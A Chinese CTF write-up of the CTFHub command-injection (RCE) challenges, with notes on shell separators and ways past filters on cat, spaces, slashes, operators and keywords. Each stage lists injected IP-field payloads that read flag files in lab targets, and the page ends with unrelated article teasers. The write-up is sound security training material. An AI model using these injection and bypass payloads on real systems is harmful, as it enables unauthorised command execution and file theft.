CTFHUB RCE作业

题目地址:CTFHub

完成情况如图:

知识点:

  • preg_match_all 函数
    • 正则匹配函数
    • int preg_match_all ( string $pattern , string $subject [, array &$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]] )
      
      搜索 subject 中所有匹配 pattern 给定正则表达式的匹配结果并且将它们以 flag 指定顺序输出到 matches 中。
      
      在第一个匹配找到后, 子序列继续从最后一次匹配位置搜索。
      
      $pattern: 要搜索的模式,字符串形式。
      
      $subject: 输入字符串。
      
      $matches: 多维数组,作为输出参数输出所有匹配结果, 数组排序通过flags指定。
      
      $flags:可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER):
      
          1.PREG_PATTERN_ORDER: 结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配,以此类推。
      
          2.PREG_SET_ORDER: 结果排序为$matches[0]包含第一次匹配得到的所有匹配(包含子组), $matches[1]是包含第二次匹配到的所有匹配(包含子组)的数组,以此类推。
      
          3.PREG_OFFSET_CAPTURE: 如果这个标记被传递,每个发现的匹配返回时会增加它相对目标字符串的偏移量。
      
      offset: 通常, 查找时从目标字符串的开始位置开始。可选参数offset用于 从目标字符串中指定位置开始搜索(单位是字节)。
      
      

    • 四个参数(参数1和参数2是必要参数,参数3和参数4为附加参数)
      • 参数1:匹配规则
      • 参数2:需要匹配的字符串
      • 参数3:存储匹配信息的变量
      • 参数4:设定参数3结果的排序形式
    • 返回完整匹配次数;可以为0;失败返回false
       
  • 命令连接符
    • |
      • 只打印后面的命令内容,管道符:前面输出作为后面输入
      • windows linux 通用
    • ||
      • windows linux 通用
      • 有真即为真,前面为真后面不执行,前面为假后面执行
    • &
      • windows linux 通用
      • 前后两条命令都执行
    • &&
      • windows linux 通用
      • 有假即为假;前面为真则后面执行,前面为假,则后面不执行
      • linux专有
      • 表示命令的结束
  • cat 被过滤了
    • 替换方法如下
    • more:一页一页的显示档案内容
      less:与 more 类似
      head:查看头几行
      tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
      tail:查看尾几行
      nl:显示的时候,顺便输出行号
      od:以二进制的方式读取档案内容
      vi:一种编辑器,这个也可以查看
      vim:一种编辑器,这个也可以查看
      sort:可以查看
      uniq:可以查看
      file -f:报错出具体内容
      sh /flag 2>%261 //报错出文件内容
  • 空格被过滤了
    • %09(url传递)(cat%09flag.php)
      ${IFS}
      $IFS$9
      <>(cat<>/flag)
      <(cat</flag)
      {cat,flag}
  • 目录分隔符被过滤了
    • 利用命令衔接性绕过,多管道命令
      • cat 1/2 === cd 1;cat 2;
    • 反引号绕过
      • cat `ls`
      • 反引号会执行ls命令,cat读取ls执行后的所有文件内容
  • 运算符过滤了(& |)
    • ;     分号
    • %0a     换行
    • %0d     回车
  • 关键字被过滤了 cat flag ctfhub等
    • 转义符号
      • \ :ca\t fl\ag  \符号在解析过程中会直接当成转义符号处理,直接省略了
        '':cat fla''g  闭合的单引号相当于空字符
    • 拼接法
      • a=fl;b=ag;cat$IFS$a$b
    • 空变量绕过
      • $* $@ $x ${x}
      • ca$*t flag
        ca$@t flag
        ca$7t flag
        ca${7}t flag
    • 编码绕过
      • cat 的base64编码为:Y2F0Cg== 或 Y2F0
        即 echo 'cat' |base64
        
        同理可以逆过程:
        echo 'Y2F0Cg=='|base64 -d
        实际执行需要用到反引号:
        `echo 'Y2F0Cg=='|base64 -d` flag文件

      • 8进制
      • 16进制
    • 正则绕过
      • ?:匹配一个字符
      • *  :匹配多个字符
      • cat ?la*    ---->可以读取flag文件

下面写一下命令执行分支的通关笔记

命令注入

开启环境进入界面发现是一个ip输入界面

这里可以看到源码,发现用到了exec()函数,对输入没有进行任何过滤

结果被执行后又输入到了前端界面上

构造payload:127.0.0.1|ls

成功回显出了当前目录下的文件

发现了一个可疑的文件:18114228857270.php

查看一下该文件信息

构造payload:127.0.0.1|cat 18114228857270.php

发现返回值为空,这就奇怪了,怎么可能啥也没有呢???

F12查看源码才发现是一段被注释的php代码,刚好是flag,复制flag即通关了

针对这种为空的情况可以使用编码读取,这样可以完整读取文件内容

构造payload:127.0.0.1|cat 18114228857270.php|base64

这样回显时base64编码的内容,到时候再解码一下也可以

过滤cat

进入界面,查看源码发现对cat继续了过滤

查看当前目录下的文件

构造payload:127.0.0.1|ls

发现了敏感文件:flag_127461393303.php

使用cat查看一下该文件内容

构造payload:127.0.0.1|cat flag_127461393303.php

输出结果为cat,说明确实对cat进行了过滤

cat虽然被过滤了,但是可以利用其他命令来代替

tac、head、tail等都可以进行读取

构造payload:127.0.0.1|head flag_127461393303.php

注意:head tail 默认只能读取10行,不过在这里就够用了,tac相当于倒序读取文件内容并倒序输出;这里用哪个都行

源码中找到flag,复制该元素然后粘贴一下就能取出注释的信息了

过滤空格

开始环境,进入界面,查看源码发现对空格进行了过滤

查看当前目录下的文件信息

构造payload:127.0.0.1|ls

发现了敏感文件:flag_125841720517495.php

查看该文件的内容

构造payload:127.0.0.1|cat%09flag_125841720517495.php

注意:%09是在url框中修改的,而不是直接在输入框中输入,因为这是url编码,如果在ip输入框中输入会进行二次url编码,%09为tab键的url编码,无法直接输入

过滤目录分隔符

进入环境查看源码发现 / 符号被过滤了

查看当前目录下的文件

构造payload:127.0.0.1|ls

发现出了一个目录 flag_is_here

接着查看该目录下的文件信息

构造payload:127.0.0.1|ls flag_is_here

找到了flag文件:flag_8317178653643.php

既然目录分隔符已经被过滤了,那么只能按顺序执行命令读取了

首先到flag_is_here文件目录下,然后读取flag_8317178653643.php文件内容

构造payload:127.0.0.1;cd flag_is_here;cat flag_8317178653643.php;

成功读取到了flag文件的内容

过滤运算符

进入环境,发现源码中对& | 符号进行了过滤

查看当前目录下的文件信息

构造payload:127.0.0.1;ls

发现了敏感文件:flag_1140880316259.php

这里使用%0a也可以实现命令结束的效果,但是得在url导航栏中进行操作

构造payload:ip=127.0.0.1%0als

接下来查看敏感文件的内容

构造payload:127.0.0.1;cat flag_1140880316259.php

成功得到了flag

综合过滤练习

进入环境,发现源码中对& | 空格 / cat flag ctfhub进行了过滤

对命令连接符都进行了过滤,但是可以使用回车换行进行操作,这里需要在url地址栏进行操作

读取当前目录下的文件信息

构造payload:127.0.0.1%0als

获取到了一个目录文件:flag_is_here

读取该目录下的文件信息

构造payload:ip=127.0.0.1%0als%09fla\g_is_here#

成功获取到了敏感文件:flag_210412363721473.php

接下来开始读取文件内容

构造payload:ip=127.0.0.1%0acd%09fl\ag_is_here%0atac%09fla\g_210412363721473.php#

成功读取到了flag

10

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/553635.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

rust学习(BorrowMut异常)

现象&#xff1a; 编译没有问题&#xff0c;运行时出现&#xff1a; 代码&#xff1a; pub fn do_test() {let v Arc::new(RefCell::new(100));let v1 v.try_borrow_mut().unwrap();let v2 v.try_borrow_mut().unwrap(); } 原因&#xff1a; 一个cell貌似不能同时被借用…

实际案例分享:如何利用上位机优化生产过程

在现代工业生产中&#xff0c;利用上位机进行生产过程优化已成为一种常见的做法。通过实时监控、数据采集和远程控制&#xff0c;上位机可以帮助企业提高生产效率、降低成本&#xff0c;并实现生产过程的自动化和智能化。本文将通过一个实际案例来介绍如何利用上位机优化生产过…

Nature 哈佛新型超材料Metafluid粘度、透明度、弹性可变,可用于编程液压机器人

液体都有“智能”、可编程了&#xff1f; 最近&#xff0c;一种被称为“智能"液体的多功能可编程的新型超材料——Metafluid&#xff0c;登上了Nature。 它由哈佛大学SEAS的研究团队研发&#xff0c;据说可自由调节弹性、光学特性、粘度。 甚至能够在牛顿流体和非牛顿流…

RHCE第二次作业

一.配置server主机要求如下&#xff1a; 1.server主机的主机名称为 ntp_server.example.com 2.server主机的IP为&#xff1a; 172.25.254.100 3.server主机的时间为1984-11-11 11&#xff1a;11&#xff1a;11 4.配置server主机的时间同步服务要求可以被所有人使用 二.设定cli…

【Python】异常处理结构

文章目录 1.python异常2.try_except异常处理结构3.try... 多个except异常处理4.try_except_else异常处理结构5.try_except_finally异常处理结构6.常见报错类型 在运行代码时&#xff0c;总是遇到各种异常&#xff0c;且出现异常时&#xff0c;脚本就会自动的的停止运行&#xf…

网络编程day5

目录 使用select实现TCP并发服务器 使用poll实现TCP客户端 UDP实现网络聊天室 服务器 ser.h main.c func_ser.c makefile 客户端 cli.h main.c func_cli.c makfile 思维导图 使用select实现TCP并发服务器 #include <myhead.h> int main(int argc, const c…

Create AI大会|人人皆可成为开发者,探索人工智能新趋势

在数字化浪潮的推动下&#xff0c;人工智能&#xff08;AI&#xff09;技术正以前所未有的速度渗透到我们生活的方方面面。2024年4月16日&#xff0c;备受瞩目的Create 2024百度AI开发者大会在深圳国际会展中心&#xff08;宝安&#xff09;盛大开幕。大会以“创造未来”为主题…

47.基于SpringBoot + Vue实现的前后端分离-校园外卖服务系统(项目 + 论文)

项目介绍 本站是一个B/S模式系统&#xff0c;采用SpringBoot Vue框架&#xff0c;MYSQL数据库设计开发&#xff0c;充分保证系统的稳定性。系统具有界面清晰、操作简单&#xff0c;功能齐全的特点&#xff0c;使得基于SpringBoot Vue技术的校园外卖服务系统设计与实现管理工作…

人才测评的方法有哪些?

人才测评是企业在筛选人才的时候必然会使用的策略&#xff0c;为了节省企业HR在招聘时的成本&#xff0c;又极大提高了人才和岗位的匹配度&#xff0c;从企业发展和员工个人发展来看&#xff0c;起到了双赢的作用&#xff0c;在线人才测评是现代企业招聘&#xff0c;人才选拔&a…

力扣哈哈哈哈

public class MyStack {int top;Queue<Integer> q1;Queue<Integer> q2;public MyStack() {q1new LinkedList<Integer>();q2new LinkedList<Integer>();}public void push(int x) {q2.offer(x);//offer是入队方法while (!q1.isEmpty()){q2.offer(q1.pol…

如何通过Postgres的日志进行故障排查?

文章目录 一、配置日志记录二、查看和分析日志三、使用日志进行故障排查的示例四、总结 在进行数据库管理和维护时&#xff0c;日志分析是一项至关重要的技能。PostgreSQL的日志记录功能可以帮助我们追踪数据库的运行状态&#xff0c;定位问题&#xff0c;以及优化性能。下面&a…

51单片机入门_江协科技_33~34_OB记录的自学笔记_LED呼吸灯与PWM直流马达调速

33. 直流电机驱动(PWM) 33.1. 直流电机介绍 •直流电机是一种将电能转换为机械能的装置。一般的直流电机有两个电极&#xff0c;当电极正接时&#xff0c;电机正转&#xff0c;当电极反接时&#xff0c;电机反转 •直流电机主要由永磁体&#xff08;定子&#xff09;、线圈&…

如何规划数据中台

1. 数据中台是一套解决方案 数据中台是一套可持续“让企业数据用起来”的机制&#xff0c;是一套解决方案&#xff0c;不仅是一个平台。让数据更加灵活地支撑前端业务&#xff0c;通过持续沉淀企业数据复用能力形成数据从采集、治理、开发到数据服务的一整套数据使用的机制。 …

SpringBoot 监控 SQL 运行情况(实战教程)

1 基本概念 2 添加依赖 3 配置相关属性 4 sql监控 5 慢sql记录 6 spring 监控 7 去 Ad&#xff08;广告&#xff09; 8 获取 Druid 的监控数据 1 基本概念 Druid是Java语言中最好的数据库连接池。 虽然HikariCP的速度稍快&#xff0c;但是&#xff0c;Druid能够提供强…

【考研高数】学习笔记分享

派大星说数学&#xff08;导学部分&#xff09; 关于做题 测试 答疑阶段 直播 群内 高中基础知识导学 一、数与式 述了课程学习和因式分解、分式拆解等知识点。学生应了解课程内容&#xff0c;带着疑问听课&#xff0c;不要抄笔记&#xff0c;导学课和基础课都有测验&…

mac安装nvm详细教程

0. 前提 清除电脑上原有的node (没有装过的可以忽略)1、首先查看电脑上是否安装的有node,查看node版本node -v2、如果有node就彻底删除nodesudo rm -rf /usr/local/{bin/{node,npm},lib/node_modules/npm,lib/node,share/man/*/node.*}2、保证自己的电脑上有安装git,不然下载n…

鼠标悬停显示三个下拉列表按钮

鼠标悬停显示三个下拉列表按钮 代码部分&#xff1a; <!DOCTYPE html> <html><head><meta charset"utf-8" /><meta name"viewport" content"widthdevice-width,initial-scale1,minimum-scale1,maximum-scale1,user-scala…

京东AI数字人“采销东哥”首秀观看量破2000万;天工 SkyMusic 音乐大模型开放公测

&#x1f989; AI新闻 &#x1f680; 京东AI数字人“采销东哥”首秀观看量破2000万 摘要&#xff1a;京东AI数字人“采销东哥”由京东云言犀打造&#xff0c;在其直播首秀中亮相并迅速吸引超2000万观看量。尽管“采销东哥”的外形和口音与创始人刘强东相似&#xff0c;但其直…

SSL Pinning之双向认证

双向认证处理流程 概述获取证书逆向app 获取证书的KeyStore的 key通过jadx 反编译 app 获取证书&#xff1a;frida hook 证书转换命令行转换portecle 工具使用 charles 配置 p12 格式证书 概述 本篇只介绍怎么解决ssl pinning&#xff0c; 不讲ssl/tls 原理。 为了解决ssl pinn…

运动想象 (MI) 分类学习系列 (8) :IFNet

运动想象分类学习系列:IFNet 0. 引言1. 主要贡献2. 提出的方法2.1 交互式频率卷积神经网络2.1.1 光谱空间特征表示2.1.2 跨频交互2.1.3 分类&#xff08;一个池化分类层&#xff09; 2.2 重复试验增强 3. 实验3.1 基线比较3.2 消融实验3.2.1 数据增强消融3.2.2 条带分割消融3.2…